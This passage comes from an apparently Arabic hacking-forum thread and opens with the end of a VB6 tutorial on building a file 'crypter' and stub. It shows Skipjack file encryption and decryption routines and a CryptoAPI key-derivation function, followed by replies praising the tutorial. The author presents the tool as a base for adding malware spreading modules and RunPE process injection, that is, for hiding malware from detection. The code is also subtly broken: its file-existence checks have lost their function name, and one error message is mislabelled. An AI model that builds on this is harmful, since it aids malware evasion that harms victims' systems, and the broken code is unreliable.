  'Make sure the source file do exist
  If (Not (SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
  
  'Open the source file and read the content
  'into a bytearray to pass onto encryption
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  'Encrypt the bytearray
  Call EncryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If ((DestFile)) Then Kill DestFile
  
  'Store the encrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub


Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  
  'Make sure the source file do exist
  If (Not (SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
  
  'Open the source file and read the content
  'into a bytearray to decrypt
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  'Decrypt the bytearray
  Call DecryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If ((DestFile)) Then Kill DestFile

  'Store the decrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub

Private Function EncryptDecrypt(ByVal Text As String, Encrypt As Boolean) As String
  
  Dim hKey As Long
  Dim hHash As Long
  Dim lLength As Long
  Dim hCryptProv As Long
  
  'Get handle to CSP
  If (CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0) Then
    If (CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0) Then
      Call Err.Raise(vbObjectError, , "Error during CryptAcquireContext  for a new key container." & vbCrLf & "A container with this name  probably already exists.")
    End If
  End If
  
  'Create a hash object to calculate a session
  'key from the password (instead of encrypting
  'with the actual key)
  If (CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not create a Hash Object (CryptCreateHash API)")
  End If
  
  'Hash the password
  If (CryptHashData(hHash, m_Key, Len(m_Key), 0) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not calculate a Hash Value (CryptHashData API)")
  End If
  
  'Derive a session key from the hash object
  If (CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not create a session key (CryptDeriveKey API)")
  End If
  
  'Encrypt or decrypt depending on the Encrypt parameter
  lLength = Len(Text)
  If (Encrypt) Then
    If (CryptEncrypt(hKey, 0, 1, 0, Text, lLength, lLength) = 0) Then
      Call Err.Raise(vbObjectError, , "Error during CryptEncrypt.")
    End If
  Else
    If (CryptDecrypt(hKey, 0, 1, 0, Text, lLength) = 0) Then
      'Call Err.Raise(vbObjectError, , "Error during CryptDecrypt.")
    End If
  End If
  
  'Return the encrypted/decrypted data
  EncryptDecrypt = Left$(Text, lLength)
  
  'Destroy the session key
  If (hKey <> 0) Then Call CryptDestroyKey(hKey)
  
  'Destroy the hash object
  If (hHash <> 0) Then Call CryptDestroyHash(hHash)
  
  'Release provider handle
  If (hCryptProv <> 0) Then Call CryptReleaseContext(hCryptProv, 0)

End Function
Public Property Let Key(New_Value As String)

  'Do nothing if no change was made
  If (m_Key = New_Value) Then Exit Property
  
  'Set the new key
  m_Key = New_Value
  
End Property
^
لم أصل إليه بَعد :15: !

وَفي النهاية :





وبهذه الخطوة يكون قد أصبح لديك برنامج تشفير
ولكنك استفدت بأنك فهمت الأكواد هذه المرة , وبإمكانك إضافة المزيد
من موديلات الانتشار + كود [ RunPE ]

وفي الختام , أتمنى من الله أن تكونوا قد استفدتم ولو قليلاً من شرحي
أتمنى منكم الدعاء لي بالتوفيق في الاختبارات
أترككم في رعاية الله وحفظه وصَونه
أستودعكم الله الذي لاتضيع ودائعه
والسلام عليكم ورحمة الله وبركاته
 
إنضم
4 سبتمبر 2010
المشاركات
855
الإعجابات
221
النقاط
43
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

جميل جدا جدا

جاري التطبيق

يعطيك العافيه
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

لمن لم تظهر معه الصور
يتفضل ويحملها
من [ هنآ ]
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

جميل جدا جدا

جاري التطبيق

يعطيك العافيه
عَافاك رَبي أيها الوَسِيم
شُكراً على المرور , :45:
 
إنضم
23 يناير 2012
المشاركات
1,642
الإعجابات
349
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

موضوع متعوب عليه

يعطيك الف عآفيه

تستاهل التقييم

:28:
 
إنضم
25 أغسطس 2010
المشاركات
3,536
الإعجابات
2,042
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

موضوع رائع يستحق التقييم

الله يجزيك كل خير

تم التقييم بنجاح واصل ابداعك
 

obelisk

ExpErt DeveloPer
rankrankrankrank
إنضم
27 ديسمبر 2009
المشاركات
1,300
الإعجابات
619
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

السلام عليكم و رحمة الله و بركاته
ما شاء الله على الابداع ، روعة ، شرح ديقيق و الذي اعجبني هو توضيح الاكواد
فبارك الله فيك يا غالي و جزاك عنا كل خير
جاري التقييم
تحياتي​
 
إنضم
10 مارس 2011
المشاركات
3,821
الإعجابات
1,134
النقاط
113
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

مشكور يالغلا شرح مفهـوم
احلى فايف ستـار

تحياتي
 
إنضم
31 يوليو 2011
المشاركات
352
الإعجابات
30
النقاط
28
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

وعليكم آلسلآم ورحمة آللهـ وبركآته..
درس ممَ ـيز وشرح ممَ ـتع ورآئع
..
آللهـ يعَ ـطيكـ آلف عآفية..
آللهـ يوفقكـ بآلآمتحآنآت يآرب , ولنرآك بلقريب آلعآجَ ـل نشآللهـ..
تم [+]
<:45:>
 

Hex Workshop

Beginner Developer
rankrank
إنضم
25 أبريل 2012
المشاركات
168
الإعجابات
56
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

شكراً :)
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

ألفُ شُكر لَسموكمُ
أسعدتموني جِداً
:44:
 
إنضم
25 أبريل 2012
المشاركات
1
الإعجابات
0
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

مشكور اخي على الشرح :6:
جاري المحاولة :26:
 
إنضم
10 مارس 2011
المشاركات
6,223
الإعجابات
1,909
النقاط
0
العمر
9
الإقامة
أ‌أ،أ“أکأ­أ¤ أ‡أ،أ£أچأٹأ،أ‰
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

يعطيك العافية
شرح اكتر من رائع ادا ليتبت يستاهل
يعجز لساني على وصف ابداعك
شكرا لك :38:
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

مشكور اخي على الشرح :6:
جاري المحاولة :26:
العَفو عَزيزي
خُذ وَقتكَ ولا تيأس من أول مرة :36:

 
إنضم
24 يناير 2012
المشاركات
276
الإعجابات
81
النقاط
28
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

ما شاء الله عليك تستاهل التقييم :6::6::6:
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

يعطيك العافية
شرح اكتر من رائع ادا ليتبت يستاهل
يعجز لساني على وصف ابداعك
شكرا لك :38:
ألأفُ الوُرود تنحني لَك يَ صِمام أمن منتدانا
اَسعَدتني بتثبيت الموضوع
نَورت أخي رَفح :27:
 

Ensan 3di

ExpErt DeveloPer
rankrankrankrankrank
إنضم
19 أغسطس 2010
المشاركات
2,236
الإعجابات
194
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

The Best Boy

مششَآء آلله عليكَ حبيب قلبي وربي شرح بغايه الروعهه لبى قلبك :$
جـآري التطبيق لآني قآعد اتعلم ع الفيجوال بيسك ض1 الحين
والله يوفقكك يَ الغلآ وتصبحح [ آكبر مبرمج بالوطن العربي ]
مر من هنـآ اخوك : [ Sly Hacker ] آحلآ تقيم :)
 
إنضم
10 مارس 2011
المشاركات
6,223
الإعجابات
1,909
النقاط
0
العمر
9
الإقامة
أ‌أ،أ“أکأ­أ¤ أ‡أ،أ£أچأٹأ،أ‰
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

كود:
لقد أعطيت تقييم أكثر من اللازم خلال 24 الماضية, حاول ثانية فيما بعد.
للاسف لم اسطيع
 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

The Best Boy

مششَآء آلله عليكَ حبيب قلبي وربي شرح بغايه الروعهه لبى قلبك :$
جـآري التطبيق لآني قآعد اتعلم ع الفيجوال بيسك ض1 الحين
والله يوفقكك يَ الغلآ وتصبحح [ آكبر مبرمج بالوطن العربي ]
مر من هنـآ اخوك : [ Sly Hacker ] آحلآ تقيم :)
Best
أخجلتني واللهِ أنت الأروع
بالتوفيق فِي تعلم هذه اللغة الممتعة
واللهم استجب منِ [ Sly ]
شُكراً على المُرور :36:

 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل